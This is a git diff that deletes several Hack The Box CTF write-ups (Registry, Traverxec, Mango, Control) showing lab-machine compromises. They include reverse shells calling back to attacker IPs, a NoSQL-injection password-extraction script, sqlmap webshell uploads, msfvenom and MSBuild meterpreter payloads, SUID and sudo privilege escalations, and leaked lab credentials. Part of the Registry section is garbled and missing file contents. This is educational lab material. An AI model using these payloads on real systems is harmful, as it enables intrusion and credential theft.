-![](/assets/images/htb-writeup-registry/registry_logo.png) - -This writeup is outdated and the attack path presented for user bolt has been patched. Initially once we pivoted from the bolt user to www-data we could run restic as root and abuse the sftp.command parameter to execute any command as root. - -## Portscan - -``` -root@kali:~# nmap -T4 -sC -sV -p- 10.10.10.159 -Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-20 19:05 EDT -Nmap scan report for registry.htb (10.10.10.159) -Host is up (0.044s latency). -Not shown: 65532 closed ports -PORT STATE SERVICE VERSION -22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) -| ssh-hostkey: -| 2048 72:d4:8d:da:ff:9b:94:2a:ee:55:0c:04:30:71:88:93 (RSA) -| 256 c7:40:d0:0e:e4:97:4a:4f:f9:fb:b2:0b:33:99:48:6d (ECDSA) -|_ 256 78:34:80:14:a1:3d:56:12:b4:0a:98:1f:e6:b4:e8:93 (ED25519) -80/tcp open http nginx 1.14.0 (Ubuntu) -|_http-server-header: nginx/1.14.0 (Ubuntu) -|_http-title: Welcome to nginx! -443/tcp open ssl/http nginx 1.14.0 (Ubuntu) -|_http-server-header: nginx/1.14.0 (Ubuntu) -|_http-title: Welcome to nginx! -| ssl-cert: Subject: commonName=docker.registry.htb -| Not valid before: 2019-05-06T21:14:35 -|_Not valid after: 2029-05-03T21:14:35 -Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel - -Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . -Nmap done: 1 IP address (1 host up) scanned in 34.27 seconds -``` - -## Website - -There's a default nginx page shown on both port 80 and port 443: - -![](/assets/images/htb-writeup-registry/Screenshot_1.png) - -The SSL certificate contains `docker.registry.htb` which I'll add to my `/etc/hosts` file. - -## Website dirbust - -``` -root@kali:~# rustbuster dir -w /opt/SecLists/Discovery/Web-Content/big.txt -e php --no-banner \ -> -u http://registry.htb -~ rustbuster v3.0.3 ~ by phra & ps1dr3x ~ - -[?] Started at : 2019-10-20 19:09:36 - -GET 403 Forbidden http://registry.htb/.bash_history -GET 403 Forbidden http://registry.htb/.htaccess -GET 403 Forbidden http://registry.htb/.htpasswd -GET 200 OK http://registry.htb/backup.php -GET 301 Moved Permanently http://registry.htb/install - => http://registry.htb/install/ -``` - -The `/backup.php` page doesn't display anything with my web browser. Maybe it's supposed to be included as part of another file or it does something in the background but doesn't output anything. - -The `/install` link shows a bunch of gibberish so it's probably a binary file that I'm supposed to download and analyze. - -![](/assets/images/htb-writeup-registry/Screenshot_2.png) - -## Hint from the compressed archive - -I figure out that it's a compressed file by running `file` then I can extract it and see it contains a certificate and a readme file. - -``` -root@kali:~/htb/registry# file install -install: gzip compressed data, last modified: Mon Jul 29 23:38:20 2019 - -root@kali:~/htb/registry# mv install install.tar.gz -root@kali:~/htb/registry# tar xvf install.tar.gz - -gzip: stdin: unexpected end of file -ca.crt -readme.md -tar: Child returned status 1 -tar: Error is not recoverable: exiting now -``` - -`readme.md` contains some kind of hint as to what the box is about: docker has a private registry software - -``` -# Private Docker Registry - -- https://docs.docker.com/registry/deploying/ -- https://docs.docker.com/engine/security/certificates/ -``` - -## Docker registry - -When I got to `https://docker.registry.htb/` I just see a blank page so I'll run gobuster again to find files. - -``` -root@kali:~/htb/registry# rustbuster dir -w /opt/SecLists/Discovery/Web-Content/big.txt --no-banner \ -> -k -u https://docker.registry.htb -~ rustbuster v3.0.3 ~ by phra & ps1dr3x ~ - -[?] Started at : 2019-10-20 19:19:10 - -GET 301 Moved Permanently https://docker.registry.htb/v2 - => /v2/ -``` - -The `/v2` page has HTTP basic auth but I was able to guess the `admin / admin` credentials. However I get an empty JSON object when I query the page. - -``` -root@kali:~/htb/registry# curl -u admin:admin -k https://docker.registry.htb/v2/ -{} -``` - -I'm pretty sure this a Docker Registry installation based on the name of the box, the hint from the file and the directory discovered. - -To interact with the registry without doing API calls manually I'll use the [registry-cli](https://github.com/andrey-pohilko/registry-cli) tool. - -``` -root@kali:~/htb/registry# registry.py -l admin:admin -r https://docker.registry.htb --no-validate-ssl ---------------------------------- -Image: bolt-image - tag: latest -``` - -There's a docker image called `bolt-image` present in the registry. I'll download it to my own box so I can execute it and see if there is anything interesting in it. - -``` -root@kali:~/htb/registry# docker login -u admin -p admin docker.registry.htb -WARNING! Using --password via the CLI is insecure. Use --password-stdin. -WARNING! Your password will be stored unencrypted in /root/.docker/config.json. -Configure a credential helper to remove this warning. See -https://docs.docker.com/engine/reference/commandline/login/#credentials-store - -Login Succeeded -root@kali:~/htb/registry# docker pull docker.registry.htb/bolt-image:latest -latest: Pulling from bolt-image -f476d66f5408: Pull complete -8882c27f669e: Pull complete -d9af21273955: Pull complete -f5029279ec12: Pull complete -2931a8b44e49: Pull complete -c71b0b975ab8: Pull complete -02666a14e1b5: Pull complete -3f12770883a6: Pull complete -302bfcb3f10c: Pull complete -Digest: sha256:eeff225e5fae33dc832c3f82fd8b0db363a73eac4f0f0cb587094be54050539b -Status: Downloaded newer image for docker.registry.htb/bolt-image:latest -``` - -I'll launch the container in interactive mode so I can look around easily: - -``` -root@kali:~/htb/registry# docker image list -REPOSITORY TAG IMAGE ID CREATED SIZE -anoxis/registry-cli latest c8ecf313a6be 2 months ago 73.6MB -docker.registry.htb/bolt-image latest 601499e98a60 4 months ago 362MB -root@kali:~/htb/registry# docker run -ti 601499e98a60 /bin/bash -root@4195e2eb99fe:/# -``` - -There's an encrypted SSH private key in `/root/.ssh`: - -``` -root@4195e2eb99fe:~/.ssh# cat id_rsa ------BEGIN RSA PRIVATE KEY----- -Proc-Type: 4,ENCRYPTED -DEK-Info: AES-128-CBC,1C98FA248505F287CCC597A59CF83AB9 - -KF9YHXRjDZ35Q9ybzkhcUNKF8DSZ+aNLYXPL3kgdqlUqwfpqpbVdHbMeDk7qbS7w -KhUv4Gj22O1t3koy9z0J0LpVM8NLMgVZhTj1eAlJO72dKBNNv5D4qkIDANmZeAGv -[...] -RLI9xScv6aJan6xHS+nWgxpPA7YNo2rknk/ZeUnWXSTLYyrC43dyPS4FvG8N0H1V -94Vcvj5Kmzv0FxwVu4epWNkLTZCJPBszTKiaEWWS+OLDh7lrcmm+GP54MsLBWVpr ------END RSA PRIVATE KEY----- -``` - -There's a profile file containing the SSH password for the private key: - -``` -root@4195e2eb99fe:/etc/profile.d# ls -l -total 8 --rw-r--r-- 1 root root 96 Aug 20 2018 01-locale-fix.sh --rwxr-xr-x 1 root root 222 May 25 01:25 01-ssh.sh -root@4195e2eb99fe:/etc/profile.d# cat 01-ssh.sh -#!/usr/bin/expect -f -#eval `ssh-agent -s` -spawn ssh-add /root/.ssh/id_rsa -expect "Enter passphrase for /root/.ssh/id_rsa:" -send "GkOcz221Ftb3ugog\n"; -expect "Identity added: /root/.ssh/id_rsa (/root/.ssh/id_rsa)" -interact -``` - -Password is: `GkOcz221Ftb3ugog` - -There's also a `sync.sh` but it doesn't seem to do anything: - -``` -root@4195e2eb99fe:/var/www/html# cat sync.sh -#!/bin/bash -rsync -azP registry:/var/www/html/bolt . -``` - -## Login in as user bolt - -With the private key and password I found I'm able to SSH to the box with the user `bolt`: -``` -root@kali:~/htb/registry# ssh -i id_rsa bolt@10.10.10.159 -Enter passphrase for key 'id_rsa': -Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-29-generic x86_64) -Last login: Sun Oct 20 23:05:17 2019 from 10.10.14.20 -bolt@bolt:~$ id -uid=1001(bolt) gid=1001(bolt) groups=1001(bolt) -bolt@bolt:~$ cat user.txt -ytc0ytdmnzywnzgxngi0zte0otm3ywzi -``` - -## Enumeration as user bolt - -The `backup.php` file I found earlier executes a backup application with sudo: - -``` -bolt@bolt:/var/www/html$ cat backup.php -) not allowed -bolt@bolt:/var/tmp/a$ vi .git/hooks/post-checkout -bolt@bolt:/var/tmp/a$ chmod 755 .git/hooks/post-checkout -bolt@bolt:/var/tmp/a$ chmod -R 777 * -bolt@bolt:/var/tmp/a$ chmod -R 777 .git/ -bolt@bolt:/var/tmp/a$ sudo -u git /usr/bin/git checkout * -error: unable to unlink old 'blabla': Permission denied -bolt@bolt:/var/tmp/a$ ls -l /var/www/html/snow.php --rw-r--r-- 1 git www-data 29 Oct 20 23:43 /var/www/html/snow.php - -bolt@bolt:/var/tmp/a$ cat /var/www/html/snow.php -; -``` - -![](/assets/images/htb-writeup-registry/Screenshot_4.png) - -I tried to get a reverse shell but I couldn't so I assume there is a firewall blocking outbound connection. No matter, there is netcat already on the box so I can start a local listener as user `bolt` and proceed from there. I created a `/tmp/shell.sh` that contains a standard reverse shell using netcat and called it from my webshell. - - -``` -bolt@bolt:~$ nc -lvnp 4444 -Listening on [0.0.0.0] (family 0, port 4444) -Connection from 127.0.0.1 60286 received! -/bin/sh: 0: can't access tty; job control turned off -$ id -uid=33(www-data) gid=33(www-data) groups=33(www-data) -``` - -## Privilege escalation - -More sudo privileges! This is probably the way to get root access. I need to abuse the restic backup system to get RCE as root. - -``` -$ sudo -l -Matching Defaults entries for www-data on bolt: - env_reset, exempt_group=sudo, mail_badpass, secure_path=/usr/local/sbin\:[...] - -User www-data may run the following commands on bolt: - (root) NOPASSWD: /usr/bin/restic backup -r rest* -``` - -## Unintended method - -We can pass special parameters to the restic backup application to specify how we want to establish the SSH connection for remote backups. By abusing this parameter we can effectively run any command we want as root. In this case I'll just call another reverse shell back to me and gain root access. - -`sudo /usr/bin/restic backup -r rest/ -r sftp:bolt@127.0.0.1:/var/tmp/xyz -o sftp.command="/tmp/shell.sh" /root/root.txt` - diff --git a/_posts/2020-04-11-htb-writeup-traverxec.md b/_posts/2020-04-11-htb-writeup-traverxec.md deleted file mode 100644 index 3729c60f67..0000000000 --- a/_posts/2020-04-11-htb-writeup-traverxec.md +++ /dev/null @@ -1,88 +0,0 @@ ---- -layout: single -title: Traverxec - Hack The Box -excerpt: "Sometimes you need a break from the hard boxes that take forever to pwn. Traverxec is an easy box that start with a custom vulnerable webserver with an unauthenticated RCE that we exploit to land an initial shell. After pivoting to another user by finding his SSH private key and cracking it, we get root through the less pager invoked by journalctl running as root through sudo." -date: 2020-04-11 -classes: wide -header: - teaser: /assets/images/htb-writeup-traverxec/traverxec_logo.png - teaser_home_page: true - icon: /assets/images/hackthebox.webp -categories: - - hackthebox - - infosec -tags: - - nostromo - - journalctl - - gtfobins ---- - -![](/assets/images/htb-writeup-traverxec/traverxec_logo.png) - -Sometimes you need a break from the hard boxes that take forever to pwn. Traverxec is an easy box that start with a custom vulnerable webserver with an unauthenticated RCE that we exploit to land an initial shell. After pivoting to another user by finding his SSH private key and cracking it, we get root through the less pager invoked by journalctl running as root through sudo. - -## Portscan - -We start with our basic portscan of the box and the attack surface seems pretty limited as we only have a webserver running and the SSH daemon. Easy boxes often have vulnerabilities that are easily exploited through off-the-self exploit on Exploit-DB. We note here that the Server header returned is `nostromo 1.9.6`, not Apache or Nginx. - -![](/assets/images/htb-writeup-traverxec/nmap.png) - -## Exploiting Nostromo's webserver - -The website is a simple static webpage template. There's a contact form at the bottom of the page but it's not doing anything. - -![](/assets/images/htb-writeup-traverxec/website1.png) - -Looking at the Exploit-DB database, we see there's an exploit matching the exact version we saw earlier on the nmap scan. - -![](/assets/images/htb-writeup-traverxec/searchsploit.png) - -The box has the netcat version with the -e flag so we can get a reverse shell that way. - -![](/assets/images/htb-writeup-traverxec/revshell.png) - -## Obtaining SSH keys for user David - -Looking at the nostromo configuration, we see that home directories are enabled so local users on the box probably have a `/public_www` directory in their home folder. - -![](/assets/images/htb-writeup-traverxec/nostromoconfig.png) - -Looking at David's home directory, we can see that we don't have access to the directory itself but if we go one level deeper to `public_www` then we see that the webserver has access to it. Since the webserver is running as the `www-data` user, it makes sense that this user would have access to the directory hosting the webpage files for users. - -![](/assets/images/htb-writeup-traverxec/david.png) - -That backup ssh file looks promising so we'll copy this to our machine with netcat, extract it and then we see it contains the private and public SSH keys. The private key is encrypted so we'll have to crack it. - -![](/assets/images/htb-writeup-traverxec/sshkey1.png) - -Using John and the rockyou wordlists, we're able to find that the password is `hunter` - -![](/assets/images/htb-writeup-traverxec/cracking.png) - -We can now log in to the server as user `david` with his RSA private key. - -![](/assets/images/htb-writeup-traverxec/user.png) - -## Privesc - -There's a `server-stats.sh` file in David's `bin` folder that sudo runs the `journalctl` command to view the last 5 log entries for the nostromo service. - -![](/assets/images/htb-writeup-traverxec/journalctl1.png) - -Looking at [GTFOBins](https://gtfobins.github.io/), we can see that the journalctl command can be used to execute arbitrary commands since it uses the `less` pager. - -![](/assets/images/htb-writeup-traverxec/gtfo.png) - -To exploit this, we must make the pager pause before listing the 5 entries in the log file, so we can type `!/bin/sh` and get a root shell. There's a couple of way to do this. - -By resizing with Gnome Terminator windows manually, I can force the stty rows to be updated. - -![](/assets/images/htb-writeup-traverxec/root1.png) - -Or we can also resize the width of the terminal, this'll make less pause as well - -![](/assets/images/htb-writeup-traverxec/root2.png) - -Finally, we can also set the stty rows manually like this: - -![](/assets/images/htb-writeup-traverxec/root3.png) \ No newline at end of file diff --git a/_posts/2020-04-18-htb-writeup-mango.md b/_posts/2020-04-18-htb-writeup-mango.md deleted file mode 100644 index a5e600cfce..0000000000 --- a/_posts/2020-04-18-htb-writeup-mango.md +++ /dev/null @@ -1,260 +0,0 @@ ---- -layout: single -title: Mango - Hack The Box -excerpt: "Mango was a medium box with a NoSQSL injection in the login page that allows us to retrieve the username and password. The credentials we retrieve through the injection can be used to SSH to the box. For privilege escalation, the jjs tool has the SUID bit set so we can run scripts as root." -date: 2020-04-17 -classes: wide -header: - teaser: /assets/images/htb-writeup-mango/mango_logo.png - teaser_home_page: true - icon: /assets/images/hackthebox.webp -categories: - - hackthebox - - infosec -tags: - - mango - - nosql - - jjs ---- - -![](/assets/images/htb-writeup-mango/mango_logo.png) - -Mango was a medium box with a NoSQSL injection in the login page that allows us to retrieve the username and password. The credentials we retrieve through the injection can be used to SSH to the box. For privilege escalation, the jjs tool has the SUID bit set so we can run scripts as root. - -## Summary - -- There's an authentication page using MangoDB that is vulnerable to NoSQL injection -- We can extract the username and passwords for two accounts: `mango` and `admin` -- Using the recovered password, we can SSH as `mango` then su to `admin` -- The jjs java utility is installed and is SUID root so we can execute anything as root - -## Portscan - -``` -root@kali:~/htb# nmap -T4 -p- 10.10.10.162 -Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-27 21:47 EDT -Nmap scan report for mango.htb (10.10.10.162) -Host is up (0.040s latency). -Not shown: 65532 closed ports -PORT STATE SERVICE -22/tcp open ssh -80/tcp open http -443/tcp open https -``` - -## Recon - HTTP - -Using the IP address I get a Forbidden error message when I try to access the site on port 80. - -![](/assets/images/htb-writeup-mango/web1.png) - -I tried using `mango.htb` but I get the same error message. - -Nothing shows up when fuzzing files and directories: - -``` -root@kali:~/htb# rustbuster dir -w /opt/SecLists/Discovery/Web-Content/big.txt -e php -u http://mango.htb --no-banner -S 400,401,403,404 -~ rustbuster v3.0.3 ~ by phra & ps1dr3x ~ - -[?] Started at : 2019-10-27 20:47:41 - - [00:02:45] ######################################## 40908/40908 ETA: 00:00:00 req/s: 24 -``` - -## Recon - HTTPS - -The page on port 443 is different: It looks like a Google page but anytime I try to search for something I get `Search Results: 0 results found` - -![](/assets/images/htb-writeup-mango/web2.png) - -There's an analytics page that shows some kind of javascript application and there's an error message about an invalid license. - -![](/assets/images/htb-writeup-mango/web3.png) - -As far as I can see this is a local application and nothing I do gets sent to the server. It's probably safe to skip that one for now. - -Nothing else shows up when fuzzing files and directories: - -``` -root@kali:~/htb# rustbuster dir -w /opt/SecLists/Discovery/Web-Content/big.txt -e php -k -u https://mango.htb --no-banner -S 400,401,403,404 -~ rustbuster v3.0.3 ~ by phra & ps1dr3x ~ - -[?] Started at : 2019-10-27 20:47:52 - -GET 200 OK https://mango.htb/analytics.php -GET 200 OK https://mango.htb/index.php - [00:02:42] ######################################## 40908/40908 ETA: 00:00:00 req/s: 252 -``` - -## Fuzzing vhosts to find the staging site - -I found the `staging-order.mango.htb` site by fuzzing the vhosts. - -``` -root@kali:~# ffuf -w ~/tools/SecLists/Discovery/DNS/dns-Jhaddix.txt -H "Host: FUZZ.mango.htb" -fc 400,403 -u http://10.10.10.162 - -[...] - -staging-order [Status: 200, Size: 4022, Words: 447, Lines: 210] -``` - -There's a login page with a non-functional Forgot Password button. - -![](/assets/images/htb-writeup-mango/web4.png) - -## NoSQL injection on the login page - -I ran SQLmap and looked for SQL injections on the login page but couldn't find any. I also tried a bunch of simple user/passwords combos in case it's something really simple. Before going to bruteforce I thought I'd try some MangoDB injection since the name of the box looks like a hint. - -I'll use the NoSQL injection page from [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection) as a reference to try a few payloads. - -With `username[$ne]=bob&password[$ne]=invalid&login=login` I can set a negative comparison on the username and password and I notice that I get a 302 HTTP return code instead of a 200 like when I try invalid credentials. I've successfully bypassed the authentication page but the `home.php` I get redirected to doesn't have anything on it. - -![](/assets/images/htb-writeup-mango/web5.png) - -I'll go back to the NoSQL injection and try to extract the usernames and passwords from the database. First, I'll find the username by using the `[$regex]` operator so I can provide a regex inside of the username parameter. - -I already guessed that `admin` is a valid username so I don't even need the regex for that one. The following evaluates to TRUE (returns a 302): - -`username[$regex]=^admin$&password[$ne]=invalid&login=login` - -Next, I'll try each letter of the alphabet like this: - -`username[$regex]=^b.*$&password[$ne]=invalid&login=login` - -I find a username starting with letter m with: - -`username[$regex]=^m.*$&password[$ne]=invalid&login=login` - -So now I just need to guess each letter like: - -`username[$regex]=^m.*$&password[$ne]=invalid&login=login` - -`username[$regex]=^ma.*$&password[$ne]=invalid&login=login` - -`username[$regex]=^man.*$&password[$ne]=invalid&login=login` - -`username[$regex]=^mang.*$&password[$ne]=invalid&login=login` - -`username[$regex]=^mango.*$&password[$ne]=invalid&login=login` - -So I have `mango` and `admin` as valid usernames. Now it's time to tackle the passwords for each account. I can find the password length by using something like this: - -Admin (12 characters): `username=admin&password[$regex]=^.{12}$&login=login` -Mango (16 characters): `username=mango&password[$regex]=^.{16}$&login=login` - -For the password, I can just the same technique manually or write a simple script like the following to automate the process: - -```python -#!/usr/bin/env python3 - -import re -import requests -import string - -chars = string.ascii_letters + string.digits + string.punctuation - -print(f"Charset {chars}") - -url = "http://staging-order.mango.htb/" -p = "" - -while True: - print(p) - for x in chars: - data = { - "username": "admin", - "password[$regex]": f"^{re.escape(p+x)}.*$", - "login": "login" - } - r = requests.post(url, data=data, proxies={"http":"127.0.0.1:8080"}, allow_redirects=False) - if r.status_code == 302: - p += x - break -``` - -``` -root@kali:~/htb/mango# ./mango.py -Charset abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~ - -t -t9 -t9K -t9Kc -t9KcS -t9KcS3 -t9KcS3> -t9KcS3>! -t9KcS3>!0 -t9KcS3>!0B -t9KcS3>!0B# -t9KcS3>!0B#2 -t9KcS3>!0B#2 -``` - -I just replace `admin` by `mango` and run it again. I got the following passwords now: - -admin: `t9KcS3>!0B#2` -mango: `h3mXK8RhU~f{]f5H` - -## Getting a shell as user admin - -I can SSH to the machine and su to `admin` since I also have the password for that user: - -![](/assets/images/htb-writeup-mango/shell1.png) - -## Privesc using jjs - -With [LinEnum.sh](https://github.com/rebootuser/LinEnum) I see there's a SUID file for `jjs`: - -``` -admin@mango:/home/admin$ curl 10.10.14.11/LinEnum.sh | sh - % Total % Received % Xferd Average Speed Time Time Time Current - Dload Upload Total Spent Left Speed -100 46108 100 46108 0 0 229k 0 --:--:-- --:--:-- --:--:-- 228k --e -######################################################### --e # Local Linux Enumeration & Privilege Escalation Script # --e ######################################################### --e # www.rebootuser.com --e # version 0.98 -[...] --e [+] Possibly interesting SUID files: --rwsr-sr-- 1 root admin 10352 Jul 18 18:21 /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs --e -``` - -A quick search on [GTFObins](https://gtfobins.github.io/gtfobins/jjs/) shows that we can execute commands with `jjs`. - -I can quickly get the root flag with: - -![](/assets/images/htb-writeup-mango/root1.png) - -Or get a proper shell by generating a meterpreter shell with the `PrependSetuid` option: - -``` -root@kali:~/htb/mango# msfvenom -p linux/x64/meterpreter/reverse_tcp -f elf -o met LHOST=10.10.14.11 LPORT=4444 PrependSetuid=true -[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload -[-] No arch selected, selecting arch: x64 from the payload -No encoder or badchars specified, outputting raw payload -Payload size: 146 bytes -Final size of elf file: 266 bytes -Saved as: met -``` - -![](/assets/images/htb-writeup-mango/root2.png) - -![](/assets/images/htb-writeup-mango/root3.png) - -Or, a faster way to get a root shell is to make bash SUID: - -``` -admin@mango:/home/admin$ jjs -Warning: The jjs tool is planned to be removed from a future JDK release -jjs> Java.type('java.lang.Runtime').getRuntime().exec('chmod u+s /bin/bash').waitFor() -0 -jjs> -admin@mango:/home/admin$ /bin/bash -p -bash-4.4# id -uid=4000000000(admin) gid=1001(admin) euid=0(root) groups=1001(admin) -``` \ No newline at end of file diff --git a/_posts/2020-04-25-htb-writeup-control.md b/_posts/2020-04-25-htb-writeup-control.md deleted file mode 100644 index 9708b01217..0000000000 --- a/_posts/2020-04-25-htb-writeup-control.md +++ /dev/null @@ -1,301 +0,0 @@ ---- -layout: single -title: Control - Hack The Box -excerpt: "Control runs a vulnerable PHP web application that controls access to the admin page by checking the X-Forwarded-For HTTP header. By adding the X-Forwarded-For HTTP header with the right IP address we can access the admin page and exploit an SQL injection to write a webshell and get RCE. After pivoting to another user with the credentials found in the MySQL database, we get SYSTEM access by modifying an existing service configuration from the registry." -date: 2020-04-25 -classes: wide -header: - teaser: /assets/images/htb-writeup-control/control_logo.png - teaser_home_page: true - icon: /assets/images/hackthebox.webp -categories: - - hackthebox - - infosec -tags: - - x-forwarded-for - - sqli - - php - - mysql - - services ---- - -![](/assets/images/htb-writeup-control/control_logo.png) - -Control runs a vulnerable PHP web application that controls access to the admin page by checking the X-Forwarded-For HTTP header. By adding the X-Forwarded-For HTTP header with the right IP address we can access the admin page and exploit an SQL injection to write a webshell and get RCE. After pivoting to another user with the credentials found in the MySQL database, we get SYSTEM access by modifying an existing service configuration from the registry. - -## Summary - -- There's an SQL injection in a PHP page of the main web application that leads to writing a webshell -- After getting an initial shell, we find additonal credentials by checking the MySQL database -- Using the user Hector, we find that some of the registry entries for some services are writable by user Hector -- By replacing the configuration of the SecLogon service, we can get RCE as SYSTEM - -## Portscan - -``` -root@kali:~# nmap -p- 10.10.10.167 -sC -sV -Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-25 19:46 EST -Nmap scan report for control.htb (10.10.10.167) -Host is up (0.017s latency). -Not shown: 65530 filtered ports -PORT STATE SERVICE VERSION -80/tcp open http Microsoft IIS httpd 10.0 -| http-methods: -|_ Potentially risky methods: TRACE -|_http-server-header: Microsoft-IIS/10.0 -|_http-title: Fidelity -135/tcp open msrpc Microsoft Windows RPC -3306/tcp open mysql? -| fingerprint-strings: -| DNSStatusRequestTCP, DNSVersionBindReqTCP, HTTPOptions, Help, RTSPRequest: -|_ Host '10.10.14.51' is not allowed to connect to this MariaDB server -49666/tcp open msrpc Microsoft Windows RPC -49667/tcp open msrpc Microsoft Windows RPC - -Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . -Nmap done: 1 IP address (1 host up) scanned in 163.51 seconds -``` - -## Wifidelity website - -Here we have a generic corporate website with about and admin links at the top. - -![](/assets/images/htb-writeup-control/website1.png) - -![](/assets/images/htb-writeup-control/website2.png) - -Whenever I click on Admin or Login I get an error about a missing header. - -![](/assets/images/htb-writeup-control/accessdenied.png) - -On the main HTML page source code there's some kind of hint about a new payment system and an IP address. The IP address seems pretty interesting since we could use this in a HTTP header such as `X-Forwarded-For` to indicate to a backend server the source of the HTTP connection. - -![](/assets/images/htb-writeup-control/htmlsource.png) - -The function.php file also contains a bunch of interesting PHP files: - -```javascript -function deleteProduct(id) { - document.getElementById("productId").value = id; - document.forms["viewProducts"].action = "delete_product.php"; - document.forms["viewProducts"].submit(); -} -function updateProduct(id) { - document.getElementById("productId").value = id; - document.forms["viewProducts"].action = "update_product.php"; - document.forms["viewProducts"].submit(); -} -function viewProduct(id) { - document.getElementById("productId").value = id; - document.forms["viewProducts"].action = "view_product.php"; - document.forms["viewProducts"].submit(); -} -function deleteCategory(id) { - document.getElementById("categoryId").value = id; - document.forms["categoryOptions"].action = "delete_category.php"; - document.forms["categoryOptions"].submit(); -} -function updateCategory(id) { - document.getElementById("categoryId").value = id; - document.forms["categoryOptions"].action = "update_category.php"; - document.forms["categoryOptions"].submit(); -} -``` - -These appear to be used to interact with a database backend. I don't know what they are used for yet but I'll find out soon when I get access to the admin page. - -I also check with gobuster for any hidden directories or files: - -``` -root@kali:~# gobuster dir -w /opt/SecLists/Discovery/Web-Content/big.txt -t 50 -x php -u http://10.10.10.167 -[...] -/ADMIN.php (Status: 200) -/Admin.php (Status: 200) -/About.php (Status: 200) -/Images (Status: 301) -/Index.php (Status: 200) -/about.php (Status: 200) -/admin.php (Status: 200) -/assets (Status: 301) -/database.php (Status: 200) -/images (Status: 301) -/index.php (Status: 200) -/uploads (Status: 301) -=============================================================== -2019/11/25 20:10:56 Finished -=============================================================== -``` - -The `/uploads` directory gives me a 403 Forbidden error message but if I can upload a file there later I might be able to get RCE that way. - -## Getting access to the admin page - -By adding the `X-Forwarded-For: 192.168.4.28` header in my HTTP requests, I can pass the verification check put in place on the website. Relying on the `X-Forwarded-For` header for authentication can be dangerous since anyone can set this header on any request they send out. - -![](/assets/images/htb-writeup-control/xforwarded.png) - -With the header set, I'm able to access the admin portion of the website where I can search for products and update the inventory. - -![](/assets/images/htb-writeup-control/admin.png) - -## SQL injection - -There's an SQL injection vulnerability in the `view_product.php` page that can easily be exploited with sqlmap: - -`sqlmap -H "X-Forwarded-For: 192.168.4.28" -u "http://10.10.10.167/view_product.php" --data "productId=69" --proxy=http://127.0.0.1:8080 --random-agent` - -![](/assets/images/htb-writeup-control/sqlmap1.png) - -Listing users with: `sqlmap -H "X-Forwarded-For: 192.168.4.28" -u "http://10.10.10.167/view_product.php" --data "productId=69" --random-agent --passwords` - -``` -[*] hector [1]: - password hash: *0E178792E8FC304A2E3133D535D38CAF1DA3CD9D -[*] manager [1]: - password hash: *CFE3EEE434B38CBF709AD67A4DCDEA476CBA7FDA -[*] root [1]: - password hash: *0A4A5CAD344718DC418035A1F4D292BA603134D8 -``` - -I'm able to crack the first two hashes: - -![](/assets/images/htb-writeup-control/crackstation.png) - - -- `hector: l33th4x0rhector` -- `manager: l3tm3!n` - -## RCE using webshell upload with SQLi - -After messing with some of the sqlmap file-read and file-write options, I was able to write files to the upload directory with: - -`sqlmap -u "http://control.htb/view_product.php" --data "productId=69" --file-write cmd.php --file-dest 'c:\inetpub\wwwroot\uploads\bobinette.php'` - -So I've just uploaded a webshell to the box and can now run commands through PHP: - -![](/assets/images/htb-writeup-control/webshell1.png) - -Defender is running on this machine so my earlier attempst at uploading a meterpreter compiled EXE file failed and using the PHP meterpreter proved to be somewhat unstable. However I was able to generate an MSbuild XML `meterpreter/reverse_tcp` payload with GreatSCT and get a stable shell. - -First, I'll upload the .xml file I've generated: - -`sqlmap -u "http://control.htb/view_product.php" --data "productId=69" --file-write 9001.xml --file-dest 'c:\inetpub\wwwroot\uploads\9001.xml'` - -Then compile and execute the payload using my webshell: - -`curl 10.10.10.167/uploads/bobinette.php?c='C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe%20c:\inetpub\wwwroot\uploads\9001.xml'` - -![](/assets/images/htb-writeup-control/shell1.png) - -The flag is probably in Hector's home directory but I don't have access to it. - -``` -meterpreter > ls /users -Listing: /users -=============== - -Mode Size Type Last modified Name ----- ---- ---- ------------- ---- -40777/rwxrwxrwx 8192 dir 2019-11-05 07:34:03 -0500 Administrator -40777/rwxrwxrwx 0 dir 2018-09-15 03:28:48 -0400 All Users -40555/r-xr-xr-x 8192 dir 2018-09-15 02:09:26 -0400 Default -40777/rwxrwxrwx 0 dir 2018-09-15 03:28:48 -0400 Default User -40777/rwxrwxrwx 8192 dir 2019-11-01 05:09:15 -0400 Hector -40555/r-xr-xr-x 4096 dir 2018-09-15 03:19:00 -0400 Public -100666/rw-rw-rw- 174 fil 2018-09-15 03:16:48 -0400 desktop.ini - -meterpreter > ls /users/hector -[-] stdapi_fs_ls: Operation failed: Access is denied. -``` - -## Getting access as user Hector - -There's two easy ways to get a shell as Hector using the credentials found in the database: - -1.Port forward port 5985 and land a shell using WinRM -![](/assets/images/htb-writeup-control/shell2.png) - -2.Upload netcat and use powershell to execute it as user Hector -![](/assets/images/htb-writeup-control/upload.png) - -![](/assets/images/htb-writeup-control/shell3.png) - -Command used: - -```powershell -$user = 'fidelity\hector' -$pw = 'l33th4x0rhector' -$secpw = ConvertTo-SecureString $pw -AsPlainText -Force -$cred = New-Object System.Management.Automation.PSCredential $user,$secpw -Invoke-Command -Computer localhost -Credential $cred -ScriptBlock {c:\windows\system32\spool\drivers\color\nc.exe 10.10.14.51 5555 -e cmd.exe} -``` -## Priv esc using insecure ACLs on services - -I uploaded `accesschk.exe` and checked files and registry entries that I have access to. I noticed that I had Read/Write access to a lot of registry entries related to services. - -`C:\Users\Hector\Documents>c:\windows\system32\spool\drivers\color\accesschk.exe "Hector" -kwsu HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services` - -``` -[...] -RW HKLM\System\CurrentControlSet\Services\sdbus\Parameters -RW HKLM\System\CurrentControlSet\Services\SDFRd -RW HKLM\System\CurrentControlSet\Services\SDFRd\Parameters -RW 